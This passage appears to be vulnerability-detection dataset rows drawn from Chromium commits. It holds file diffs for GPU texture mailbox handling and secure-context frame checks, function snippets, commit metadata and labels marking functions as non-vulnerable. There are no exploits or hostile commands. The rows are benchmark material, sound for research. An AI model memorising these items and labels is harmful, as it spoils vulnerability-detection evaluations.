!textures_[back()].sent_to_client) {\n- // We may get an ACK from a stale swap just to reschedule. In that case,\n- // we may not have a backbuffer suggestion and should not recreate one.\n- if (backbuffer_suggested_allocation_)\n- CreateBackTexture(textures_[front()].size);\n- } else {\n+ if (backbuffer_.size != current_size_ || !backbuffer_.service_id)\n+ CreateBackTexture();\n+ else\n AttachBackTextureToFBO();\n- }\n }\n \n // Even if MakeCurrent fails, schedule anyway, to trigger the lost context\n@@ -453,119 +365,128 @@ void TextureImageTransportSurface::OnResizeViewACK() {\n NOTREACHED();\n }\n \n-void TextureImageTransportSurface::ReleaseTexture(int id) {\n- if (!parent_stub_)\n- return;\n- Texture& texture = textures_[id];\n- TextureInfo* info = texture.info;\n- DCHECK(info);\n-\n- GLuint service_id = info->service_id();\n- if (!service_id)\n+void TextureImageTransportSurface::ReleaseBackTexture() {\n+ if (!backbuffer_.service_id)\n return;\n- info->SetServiceId(0);\n \n- {\n- ScopedFrameBufferBinder fbo_binder(fbo_id_);\n- glDeleteTextures(1, &service_id);\n- }\n+ glDeleteTextures(1, &backbuffer_.service_id);\n+ backbuffer_.service_id = 0;\n+ mailbox_name(backbuffer_.surface_handle) = MailboxName();\n glFlush();\n CHECK_GL_ERROR();\n }\n \n-void TextureImageTransportSurface::CreateBackTexture(const gfx::Size& size) {\n- if (!parent_stub_)\n- return;\n- Texture& texture = textures_[back()];\n- TextureInfo* info = texture.info;\n- DCHECK(info);\n-\n- GLuint service_id = info->service_id();\n+void TextureImageTransportSurface::CreateBackTexture() {\n+ // If |is_swap_buffers_pending| we are waiting for our backbuffer\n+ // in the mailbox, so we shouldn't be reallocating it now.\n+ DCHECK(!is_swap_buffers_pending_);\n \n- if (service_id && texture.size == size && texture.sent_to_client)\n+ if (backbuffer_.service_id && backbuffer_.size == current_size_)\n return;\n \n- if (!service_id) {\n- glGenTextures(1, &service_id);\n- info->SetServiceId(service_id);\n+ if (!backbuffer_.service_id) {\n+ MailboxName new_mailbox_name;\n+ MailboxName& name = mailbox_name(backbuffer_.surface_handle);\n+ // This slot should be uninitialized.\n+ DCHECK(!memcmp(&name, &new_mailbox_name, sizeof(MailboxName)));\n+ mailbox_manager_->GenerateMailboxName(&new_mailbox_name);\n+ name = new_mailbox_name;\n+ glGenTextures(1, &backbuffer_.service_id);\n }\n \n- if (size != texture.size) {\n- texture.size = size;\n- TextureManager* texture_manager =\n- parent_stub_->decoder()->GetContextGroup()->texture_manager();\n- texture_manager->SetLevelInfo(\n- info,\n- GL_TEXTURE_2D,\n- 0,\n- GL_RGBA,\n- size.width(),\n- size.height(),\n- 1,\n- 0,\n- GL_RGBA,\n- GL_UNSIGNED_BYTE,\n- true);\n- }\n+ backbuffer_.size = current_size_;\n \n {\n- ScopedTextureBinder texture_binder(service_id);\n+ ScopedTextureBinder texture_binder(backbuffer_.service_id);\n glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\n glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);\n glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA,\n- size.width(), size.height(), 0,\n+ current_size_.width(), current_size_.height(), 0,\n GL_RGBA, GL_UNSIGNED_BYTE, NULL);\n CHECK_GL_ERROR();\n }\n \n AttachBackTextureToFBO();\n \n+ const MailboxName& name = mailbox_name(backbuffer_.surface_handle);\n+\n GpuHostMsg_AcceleratedSurfaceNew_Params params;\n- params.width = size.width();\n- params.height = size.height();\n- params.surface_handle = texture.client_id;\n+ params.width = current_size_.width();\n+ params.height = current_size_.height();\n+ params.surface_handle = backbuffer_.surface_handle;\n+ params.mailbox_name.append(\n+ reinterpret_cast<const char*>(&name), sizeof(name));\n helper_->SendAcceleratedSurfaceNew(params);\n- texture.sent_to_client = true;\n }\n \n void TextureImageTransportSurface::AttachBackTextureToFBO() {\n- if (!parent_stub_)\n- return;\n- TextureInfo* info = textures_[back()].info;\n- DCHECK(info);\n-\n+ DCHECK(backbuffer_.service_id);\n ScopedFrameBufferBinder fbo_binder(fbo_id_);\n glFramebufferTexture2DEXT(GL_FRAMEBUFFER,\n GL_COLOR_ATTACHMENT0,\n GL_TEXTURE_2D,\n- info->service_id(),\n+ backbuffer_.service_id,\n 0);\n glFlush();\n CHECK_GL_ERROR();\n \n #ifndef NDEBUG\n GLenum status = glCheckFramebufferStatusEXT(GL_FRAMEBUFFER);\n if (status != GL_FRAMEBUFFER_COMPLETE) {\n- DLOG(ERROR) << \"Framebuffer incomplete.\";\n+ DLOG(FATAL) << \"Framebuffer incomplete: \" << status;\n }\n #endif\n }\n \n-void TextureImageTransportSurface::ReleaseParentStub() {\n- DCHECK(parent_stub_);\n- parent_stub_->RemoveDestructionObserver(this);\n- for (int i = 0; i < 2; ++i) {\n- Texture& texture = textures_[i];\n- texture.info = NULL;\n- if (!texture.sent_to_client)\n- continue;\n- GpuHostMsg_AcceleratedSurfaceRelease_Params params;\n- params.identifier = texture.client_id;\n- helper_->SendAcceleratedSurfaceRelease(params);\n+void TextureImageTransportSurface::ConsumeTexture(Texture& texture) {\n+ DCHECK(!texture.service_id);\n+ DCHECK(texture.surface_handle == 1 || texture.surface_handle == 2);\n+\n+ scoped_ptr<TextureDefinition> definition(mailbox_manager_->ConsumeTexture(\n+ GL_TEXTURE_2D, mailbox_name(texture.surface_handle)));\n+ if (definition.get()) {\n+ texture.service_id = definition->ReleaseServiceId();\n+ texture.size = gfx::Size(definition->level_infos()[0][0].width,\n+ definition->level_infos()[0][0].height);\n }\n- parent_stub_ = NULL;\n+}\n+\n+void TextureImageTransportSurface::ProduceTexture(Texture& texture) {\n+ DCHECK(texture.service_id);\n+ DCHECK(texture.surface_handle == 1 || texture.surface_handle == 2);\n+ TextureManager* texture_manager =\n+ helper_->stub()->decoder()->GetContextGroup()->texture_manager();\n+ DCHECK(texture.size.width() > 0 && texture.size.height() > 0);\n+ TextureDefinition::LevelInfo info(\n+ GL_TEXTURE_2D, GL_RGBA, texture.size.width(), texture.size.height(), 1,\n+ 0, GL_RGBA, GL_UNSIGNED_BYTE, true);\n+\n+ TextureDefinition::LevelInfos level_infos;\n+ level_infos.resize(1);\n+ level_infos[0].resize(texture_manager->MaxLevelsForTarget(GL_TEXTURE_2D));\n+ level_infos[0][0] = info;\n+ scoped_ptr<TextureDefinition> definition(new TextureDefinition(\n+ GL_TEXTURE_2D,\n+ texture.service_id,\n+ GL_LINEAR,\n+ GL_LINEAR,\n+ GL_CLAMP_TO_EDGE,\n+ GL_CLAMP_TO_EDGE,\n+ GL_NONE,\n+ true,\n+ level_infos));\n+ // Pass NULL as |owner| here to avoid errors from glConsumeTextureCHROMIUM()\n+ // when the renderer context group goes away before the RWHV handles a pending\n+ // ACK. We avoid leaking a texture in the mailbox by waiting for the final ACK\n+ // at which point we consume the correct texture back.\n+ mailbox_manager_->ProduceTexture(\n+ GL_TEXTURE_2D,\n+ mailbox_name(texture.surface_handle),\n+ definition.release(),\n+ NULL);\n+ texture.service_id = 0;\n }\n \n } // namespace content"}<_**next**_>{"sha": "45013472ef53056d96c28d5aacb22d39950619b4", "filename": "content/common/gpu/texture_image_transport_surface.h", "status": "modified", "additions": 33, "deletions": 36, "changes": 69, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/texture_image_transport_surface.h", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/texture_image_transport_surface.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/gpu/texture_image_transport_surface.h?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -6,10 +6,11 @@\n #define CONTENT_COMMON_GPU_TEXTURE_IMAGE_TRANSPORT_SURFACE_H_\n \n #include \"base/basictypes.h\"\n-#include \"base/memory/weak_ptr.h\"\n #include \"content/common/gpu/gpu_command_buffer_stub.h\"\n #include \"content/common/gpu/image_transport_surface.h\"\n+#include \"gpu/command_buffer/service/mailbox_manager.h\"\n #include \"gpu/command_buffer/service/texture_manager.h\"\n+#include \"ui/gl/gl_context.h\"\n #include \"ui/gl/gl_surface.h\"\n \n namespace content {\n@@ -18,8 +19,7 @@ class GpuChannelManager;\n class TextureImageTransportSurface :\n public ImageTransportSurface,\n public GpuCommandBufferStub::DestructionObserver,\n- public gfx::GLSurface,\n- public base::SupportsWeakPtr<TextureImageTransportSurface> {\n+ public gfx::GLSurface {\n public:\n TextureImageTransportSurface(GpuChannelManager* manager,\n GpuCommandBufferStub* stub,\n@@ -48,84 +48,81 @@ class TextureImageTransportSurface :\n protected:\n // ImageTransportSurface implementation.\n virtual void OnBufferPresented(\n- bool presented,\n+ uint64 surface_handle,\n uint32 sync_point) OVERRIDE;\n virtual void OnResizeViewACK() OVERRIDE;\n- virtual void OnSetFrontSurfaceIsProtected(\n- bool is_protected,\n- uint32 protection_state_id) OVERRIDE;\n virtual void OnResize(gfx::Size size) OVERRIDE;\n \n // GpuCommandBufferStub::DestructionObserver implementation.\n virtual void OnWillDestroyStub(GpuCommandBufferStub* stub) OVERRIDE;\n \n private:\n- // A texture backing the front/back buffer in the parent stub.\n+ // A texture backing the front/back buffer.\n struct Texture {\n Texture();\n ~Texture();\n \n- // The client-side id in the parent stub.\n- uint32 client_id;\n-\n // The currently allocated size.\n gfx::Size size;\n \n- // Whether or not that texture has been sent to the client yet.\n- bool sent_to_client;\n+ // The actual GL texture id.\n+ uint32 service_id;\n \n- // The texture info in the parent stub.\n- gpu::gles2::TextureManager::TextureInfo::Ref info;\n+ // The surface handle for this texture (only 1 and 2 are valid).\n+ uint64 surface_handle;\n };\n \n virtual ~TextureImageTransportSurface();\n- void CreateBackTexture(const gfx::Size& size);\n+ void CreateBackTexture();\n void AttachBackTextureToFBO();\n- void ReleaseTexture(int id);\n- void ReleaseParentStub();\n- void AdjustFrontBufferAllocation();\n- void BufferPresentedImpl(bool presented);\n- int front() const { return front_; }\n- int back() const { return 1 - front_; }\n+ void ReleaseBackTexture();\n+ void BufferPresentedImpl(uint64 surface_handle);\n+ void ProduceTexture(Texture& texture);\n+ void ConsumeTexture(Texture& texture);\n+\n+ gpu::gles2::MailboxName& mailbox_name(uint64 surface_handle) {\n+ DCHECK(surface_handle == 1 || surface_handle == 2);\n+ return mailbox_names_[surface_handle - 1];\n+ }\n \n // The framebuffer that represents this surface (service id). Allocated lazily\n // in OnMakeCurrent.\n uint32 fbo_id_;\n \n- // The front and back buffers.\n- Texture textures_[2];\n-\n- gfx::Rect previous_damage_rect_;\n+ // The current backbuffer.\n+ Texture backbuffer_;\n \n- // Indicates which of the 2 above is the front buffer.\n- int front_;\n+ // The current size of the GLSurface. Used to disambiguate from the current\n+ // texture size which might be outdated (since we use two buffers).\n+ gfx::Size current_size_;\n \n // Whether or not the command buffer stub has been destroyed.\n bool stub_destroyed_;\n \n bool backbuffer_suggested_allocation_;\n bool frontbuffer_suggested_allocation_;\n \n- bool frontbuffer_is_protected_;\n- uint32 protection_state_id_;\n-\n scoped_ptr<ImageTransportHelper> helper_;\n gfx::GLSurfaceHandle handle_;\n- GpuCommandBufferStub* parent_stub_;\n \n // The offscreen surface used to make the context current. However note that\n // the actual rendering is always redirected to an FBO.\n- scoped_refptr<GLSurface> surface_;\n+ scoped_refptr<gfx::GLSurface> surface_;\n+\n+ // Holds a reference to the underlying context for cleanup.\n+ scoped_refptr<gfx::GLContext> context_;\n \n // Whether a SwapBuffers is pending.\n bool is_swap_buffers_pending_;\n \n // Whether we unscheduled command buffer because of pending SwapBuffers.\n bool did_unschedule_;\n \n- // Whether or not the buffer flip went through browser side on the last\n- // swap or post sub buffer.\n- bool did_flip_;\n+ // The mailbox names used for texture exchange. Uses surface_handle as key.\n+ gpu::gles2::MailboxName mailbox_names_[2];\n+\n+ // Holds a reference to the mailbox manager for cleanup.\n+ scoped_refptr<gpu::gles2::MailboxManager> mailbox_manager_;\n \n DISALLOW_COPY_AND_ASSIGN(TextureImageTransportSurface);\n };"}<_**next**_>{"sha": "9fe93ac8dcde065ed9e3f0d5d4bca3184d01075e", "filename": "content/port/browser/render_widget_host_view_port.h", "status": "modified", "additions": 3, "deletions": 2, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/port/browser/render_widget_host_view_port.h", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/port/browser/render_widget_host_view_port.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/port/browser/render_widget_host_view_port.h?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -244,8 +244,9 @@ class CONTENT_EXPORT RenderWidgetHostViewPort : public RenderWidgetHostView {\n virtual void AcceleratedSurfaceNew(\n int32 width_in_pixel,\n int32 height_in_pixel,\n- uint64 surface_id) {}\n- virtual void AcceleratedSurfaceRelease(uint64 surface_id) {}\n+ uint64 surface_id,\n+ const std::string& mailbox_name) {}\n+ virtual void AcceleratedSurfaceRelease() {}\n \n #if defined(TOOLKIT_GTK)\n virtual void CreatePluginContainer(gfx::PluginWindowHandle id) = 0;"}<_**next**_>{"sha": "90193934f3a4dd40ba797266978847b653241e69", "filename": "gpu/command_buffer/service/mailbox_manager.cc", "status": "modified", "additions": 10, "deletions": 3, "changes": 13, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/gpu/command_buffer/service/mailbox_manager.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/gpu/command_buffer/service/mailbox_manager.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/gpu/command_buffer/service/mailbox_manager.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -4,6 +4,8 @@\n \n #include \"gpu/command_buffer/service/mailbox_manager.h\"\n \n+#include <algorithm>\n+\n #include \"base/rand_util.h\"\n #include \"crypto/hmac.h\"\n #include \"gpu/command_buffer/service/gl_utils.h\"\n@@ -12,16 +14,23 @@\n namespace gpu {\n namespace gles2 {\n \n+MailboxName::MailboxName() {\n+ std::fill(key, key + sizeof(key), 0);\n+ std::fill(signature, signature + sizeof(signature), 0);\n+}\n+\n MailboxManager::MailboxManager()\n : hmac_(crypto::HMAC::SHA256),\n textures_(std::ptr_fun(&MailboxManager::TargetNameLess)) {\n base::RandBytes(private_key_, sizeof(private_key_));\n bool success = hmac_.Init(\n base::StringPiece(private_key_, sizeof(private_key_)));\n DCHECK(success);\n+ DCHECK(!IsMailboxNameValid(MailboxName()));\n }\n \n MailboxManager::~MailboxManager() {\n+ DCHECK(!textures_.size());\n }\n \n void MailboxManager::GenerateMailboxName(MailboxName* name) {\n@@ -36,10 +45,8 @@ TextureDefinition* MailboxManager::ConsumeTexture(unsigned target,\n \n TextureDefinitionMap::iterator it =\n textures_.find(TargetName(target, name));\n- if (it == textures_.end()) {\n- NOTREACHED();\n+ if (it == textures_.end())\n return NULL;\n- }\n \n TextureDefinition* definition = it->second.definition.release();\n textures_.erase(it);"}<_**next**_>{"sha": "8f97dd4af6d867b4ee96b906c8af998b186649da", "filename": "gpu/command_buffer/service/mailbox_manager.h", "status": "modified", "additions": 2, "deletions": 1, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/gpu/command_buffer/service/mailbox_manager.h", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/gpu/command_buffer/service/mailbox_manager.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/gpu/command_buffer/service/mailbox_manager.h?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -30,7 +30,8 @@ class TextureManager;\n // Identifies a mailbox where a texture definition can be stored for\n // transferring textures between contexts that are not in the same context\n // group. It is a random key signed with a hash of a private key.\n-struct MailboxName {\n+struct GPU_EXPORT MailboxName {\n+ MailboxName();\n GLbyte key[GL_MAILBOX_SIZE_CHROMIUM / 2];\n GLbyte signature[GL_MAILBOX_SIZE_CHROMIUM / 2];\n };"}<_**next**_>{"sha": "e1c606f0d8a000a01a7797d4dbf72f2e86eef7a3", "filename": "gpu/command_buffer/service/texture_definition.cc", "status": "modified", "additions": 12, "deletions": 0, "changes": 12, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/gpu/command_buffer/service/texture_definition.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/gpu/command_buffer/service/texture_definition.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/gpu/command_buffer/service/texture_definition.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -27,6 +27,18 @@ TextureDefinition::LevelInfo::LevelInfo(GLenum target,\n cleared(cleared) {\n }\n \n+TextureDefinition::LevelInfo::LevelInfo()\n+ : target(0),\n+ internal_format(0),\n+ width(0),\n+ height(0),\n+ depth(0),\n+ border(0),\n+ format(0),\n+ type(0),\n+ cleared(true) {\n+}\n+\n TextureDefinition::TextureDefinition(GLenum target,\n GLuint service_id,\n GLenum min_filter,"}<_**next**_>{"sha": "7f7d3cdefea8fcd2eca790e4757acc3553e61ab4", "filename": "gpu/command_buffer/service/texture_definition.h", "status": "modified", "additions": 3, "deletions": 1, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/gpu/command_buffer/service/texture_definition.h", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/gpu/command_buffer/service/texture_definition.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/gpu/command_buffer/service/texture_definition.h?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -19,7 +19,7 @@ namespace gles2 {\n // context using the same GLShareGroup with the corresponding service ID.\n class GPU_EXPORT TextureDefinition {\n public:\n- struct LevelInfo {\n+ struct GPU_EXPORT LevelInfo {\n LevelInfo(GLenum target,\n GLenum internal_format,\n GLsizei width,\n@@ -29,6 +29,8 @@ class GPU_EXPORT TextureDefinition {\n GLenum format,\n GLenum type,\n bool cleared);\n+ LevelInfo();\n+\n GLenum target;\n GLenum internal_format;\n GLsizei width;"}<_**next**_>{"sha": "d6c6a790dfdd6cadf310f280a98a4d096da316e1", "filename": "ui/compositor/compositor.cc", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/ui/compositor/compositor.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/ui/compositor/compositor.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/ui/compositor/compositor.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -192,8 +192,8 @@ WebKit::WebGraphicsContext3D* DefaultContextFactory::CreateContextCommon(\n }\n \n Texture::Texture(bool flipped, const gfx::Size& size, float device_scale_factor)\n- : flipped_(flipped),\n- size_(size),\n+ : size_(size),\n+ flipped_(flipped),\n device_scale_factor_(device_scale_factor) {\n }\n "}<_**next**_>{"sha": "3dbebd281c0bd60a73a23250d51dd7d868fce1e4", "filename": "ui/compositor/compositor.h", "status": "modified", "additions": 4, "deletions": 1, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/ui/compositor/compositor.h", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/ui/compositor/compositor.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/ui/compositor/compositor.h?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -112,14 +112,17 @@ class COMPOSITOR_EXPORT Texture : public base::RefCounted<Texture> {\n virtual unsigned int PrepareTexture() = 0;\n virtual WebKit::WebGraphicsContext3D* HostContext3D() = 0;\n \n+ virtual void Consume(const gfx::Size& new_size) {}\n+ virtual void Produce() {}\n+\n protected:\n virtual ~Texture();\n+ gfx::Size size_; // in pixel\n \n private:\n friend class base::RefCounted<Texture>;\n \n bool flipped_;\n- gfx::Size size_; // in pixel\n float device_scale_factor_;\n \n DISALLOW_COPY_AND_ASSIGN(Texture);"}<_**next**_>{"sha": "22a675664abb59afb9fda9243381fbb949f67ab6", "filename": "ui/gfx/native_widget_types.h", "status": "modified", "additions": 2, "deletions": 13, "changes": 15, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/ui/gfx/native_widget_types.h", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/ui/gfx/native_widget_types.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/ui/gfx/native_widget_types.h?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -278,30 +278,19 @@ struct GLSurfaceHandle {\n : handle(kNullPluginWindow),\n transport(false),\n parent_gpu_process_id(0),\n- parent_client_id(0),\n- parent_context_id(0),\n- sync_point(0) {\n- parent_texture_id[0] = 0;\n- parent_texture_id[1] = 0;\n+ parent_client_id(0) {\n }\n GLSurfaceHandle(PluginWindowHandle handle_, bool transport_)\n : handle(handle_),\n transport(transport_),\n parent_gpu_process_id(0),\n- parent_client_id(0),\n- parent_context_id(0),\n- sync_point(0) {\n- parent_texture_id[0] = 0;\n- parent_texture_id[1] = 0;\n+ parent_client_id(0) {\n }\n bool is_null() const { return handle == kNullPluginWindow && !transport; }\n PluginWindowHandle handle;\n bool transport;\n int parent_gpu_process_id;\n uint32 parent_client_id;\n- uint32 parent_context_id;\n- uint32 parent_texture_id[2];\n- uint32 sync_point;\n };\n \n // AcceleratedWidget provides a surface to compositors to paint pixels."}
|
void RenderProcessHostImpl::WidgetRestored() {
DCHECK_EQ(backgrounded_, (visible_widgets_ == 0));
visible_widgets_++;
SetBackgrounded(false);
}
|
void RenderProcessHostImpl::WidgetRestored() {
DCHECK_EQ(backgrounded_, (visible_widgets_ == 0));
visible_widgets_++;
SetBackgrounded(false);
}
|
C
| null | null | null |
@@ -1595,7 +1595,7 @@ void RenderProcessHostImpl::OnCompositorSurfaceBuffersSwappedNoHost(
"RenderWidgetHostImpl::OnCompositorSurfaceBuffersSwappedNoHost");
RenderWidgetHostImpl::AcknowledgeBufferPresent(route_id,
gpu_process_host_id,
- false,
+ surface_handle,
0);
}
|
Chrome
|
18d67244984a574ba2dd8779faabc0e3e34f4b76
|
64019711f86ff49388846f4459958991afdcf27e
| 0
|
void RenderProcessHostImpl::WidgetRestored() {
// Verify we were properly backgrounded.
DCHECK_EQ(backgrounded_, (visible_widgets_ == 0));
visible_widgets_++;
SetBackgrounded(false);
}
|
143,200
| null | null | null | null | null | null | null | null | null | null | null | null | null | null |
2016-07
| null | 0
|
https://github.com/chromium/chromium/commit/8353baf8d1504dbdd4ad7584ff2466de657521cd
|
8353baf8d1504dbdd4ad7584ff2466de657521cd
|
Remove WebFrame::canHaveSecureChild
To simplify the public API, ServiceWorkerNetworkProvider can do the
parent walk itself.
Follow-up to https://crrev.com/ad1850962644e19.
BUG=607543
Review-Url: https://codereview.chromium.org/2082493002
Cr-Commit-Position: refs/heads/master@{#400896}
| 0
|
third_party/WebKit/Source/core/dom/Document.cpp
|
{"sha": "5c883a0154ddb182d6ad680b5a4c77660f2b373f", "filename": "content/child/service_worker/service_worker_network_provider.cc", "status": "modified", "additions": 15, "deletions": 2, "changes": 17, "blob_url": "https://github.com/chromium/chromium/blob/8353baf8d1504dbdd4ad7584ff2466de657521cd/content/child/service_worker/service_worker_network_provider.cc", "raw_url": "https://github.com/chromium/chromium/raw/8353baf8d1504dbdd4ad7584ff2466de657521cd/content/child/service_worker/service_worker_network_provider.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/child/service_worker/service_worker_network_provider.cc?ref=8353baf8d1504dbdd4ad7584ff2466de657521cd", "patch": "@@ -11,6 +11,7 @@\n #include \"content/common/service_worker/service_worker_messages.h\"\n #include \"content/common/service_worker/service_worker_utils.h\"\n #include \"content/public/common/browser_side_navigation_policy.h\"\n+#include \"third_party/WebKit/public/platform/WebSecurityOrigin.h\"\n #include \"third_party/WebKit/public/web/WebLocalFrame.h\"\n #include \"third_party/WebKit/public/web/WebSandboxFlags.h\"\n \n@@ -26,6 +27,19 @@ int GetNextProviderId() {\n return sequence.GetNext(); // We start at zero.\n }\n \n+// Returns whether it's possible for a document whose frame is a descendant of\n+// |frame| to be a secure context, not considering scheme exceptions (since any\n+// document can be a secure context if it has a scheme exception). See\n+// Document::isSecureContextImpl for more details.\n+bool IsFrameSecure(blink::WebFrame* frame) {\n+ while (frame) {\n+ if (!frame->getSecurityOrigin().isPotentiallyTrustworthy())\n+ return false;\n+ frame = frame->parent();\n+ }\n+ return true;\n+}\n+\n } // namespace\n \n void ServiceWorkerNetworkProvider::AttachToDocumentState(\n@@ -78,8 +92,7 @@ ServiceWorkerNetworkProvider::CreateForNavigation(\n // is_parent_frame_secure to the browser process, so it can determine the\n // context security when deciding whether to allow a service worker to\n // control the document.\n- bool is_parent_frame_secure =\n- !frame->parent() || frame->parent()->canHaveSecureChild();\n+ const bool is_parent_frame_secure = IsFrameSecure(frame->parent());\n \n if (service_worker_provider_id == kInvalidServiceWorkerProviderId) {\n network_provider = std::unique_ptr<ServiceWorkerNetworkProvider>("}<_**next**_>{"sha": "b8bb6474ab3db3ce89ac6d5e0c8cbe212ba90fe6", "filename": "third_party/WebKit/Source/core/dom/Document.cpp", "status": "modified", "additions": 8, "deletions": 3, "changes": 11, "blob_url": "https://github.com/chromium/chromium/blob/8353baf8d1504dbdd4ad7584ff2466de657521cd/third_party/WebKit/Source/core/dom/Document.cpp", "raw_url": "https://github.com/chromium/chromium/raw/8353baf8d1504dbdd4ad7584ff2466de657521cd/third_party/WebKit/Source/core/dom/Document.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/core/dom/Document.cpp?ref=8353baf8d1504dbdd4ad7584ff2466de657521cd", "patch": "@@ -3355,9 +3355,14 @@ bool Document::isSecureContextImpl(const SecureContextCheck privilegeContextChec\n return true;\n \n if (privilegeContextCheck == StandardSecureContextCheck) {\n- Frame* parent = m_frame ? m_frame->tree().parent() : nullptr;\n- if (parent && !parent->canHaveSecureChild())\n- return false;\n+ if (!m_frame)\n+ return true;\n+ Frame* parent = m_frame->tree().parent();\n+ while (parent) {\n+ if (!parent->securityContext()->getSecurityOrigin()->isPotentiallyTrustworthy())\n+ return false;\n+ parent = parent->tree().parent();\n+ }\n }\n return true;\n }"}<_**next**_>{"sha": "a27137994bda60db108cfd11f68552773da71ce8", "filename": "third_party/WebKit/Source/core/frame/Frame.cpp", "status": "modified", "additions": 0, "deletions": 9, "changes": 9, "blob_url": "https://github.com/chromium/chromium/blob/8353baf8d1504dbdd4ad7584ff2466de657521cd/third_party/WebKit/Source/core/frame/Frame.cpp", "raw_url": "https://github.com/chromium/chromium/raw/8353baf8d1504dbdd4ad7584ff2466de657521cd/third_party/WebKit/Source/core/frame/Frame.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/core/frame/Frame.cpp?ref=8353baf8d1504dbdd4ad7584ff2466de657521cd", "patch": "@@ -304,15 +304,6 @@ void Frame::didChangeVisibilityState()\n childFrames[i]->didChangeVisibilityState();\n }\n \n-bool Frame::canHaveSecureChild() const\n-{\n- for (const Frame* parent = this; parent; parent = parent->tree().parent()) {\n- if (!parent->securityContext()->getSecurityOrigin()->isPotentiallyTrustworthy())\n- return false;\n- }\n- return true;\n-}\n-\n Frame::Frame(FrameClient* client, FrameHost* host, FrameOwner* owner)\n : m_treeNode(this)\n , m_host(host)"}<_**next**_>{"sha": "423e8824724299e26da638564f437a9c5d755cea", "filename": "third_party/WebKit/Source/core/frame/Frame.h", "status": "modified", "additions": 0, "deletions": 9, "changes": 9, "blob_url": "https://github.com/chromium/chromium/blob/8353baf8d1504dbdd4ad7584ff2466de657521cd/third_party/WebKit/Source/core/frame/Frame.h", "raw_url": "https://github.com/chromium/chromium/raw/8353baf8d1504dbdd4ad7584ff2466de657521cd/third_party/WebKit/Source/core/frame/Frame.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/core/frame/Frame.h?ref=8353baf8d1504dbdd4ad7584ff2466de657521cd", "patch": "@@ -136,15 +136,6 @@ class CORE_EXPORT Frame : public GarbageCollectedFinalized<Frame> {\n \n virtual void didChangeVisibilityState();\n \n- // Use Document::isSecureContext() instead of this function to\n- // check whether this frame's document is a secure context.\n- //\n- // Returns whether it's possible for a document whose frame is a descendant\n- // of this frame to be a secure context, not considering scheme exceptions\n- // (since any document can be a secure context if it has a scheme\n- // exception). See Document::isSecureContextImpl for more details.\n- bool canHaveSecureChild() const;\n-\n protected:\n Frame(FrameClient*, FrameHost*, FrameOwner*);\n "}<_**next**_>{"sha": "fe56e611da944226c22080c7cc3dba7c46439f28", "filename": "third_party/WebKit/Source/web/WebFrame.cpp", "status": "modified", "additions": 0, "deletions": 8, "changes": 8, "blob_url": "https://github.com/chromium/chromium/blob/8353baf8d1504dbdd4ad7584ff2466de657521cd/third_party/WebKit/Source/web/WebFrame.cpp", "raw_url": 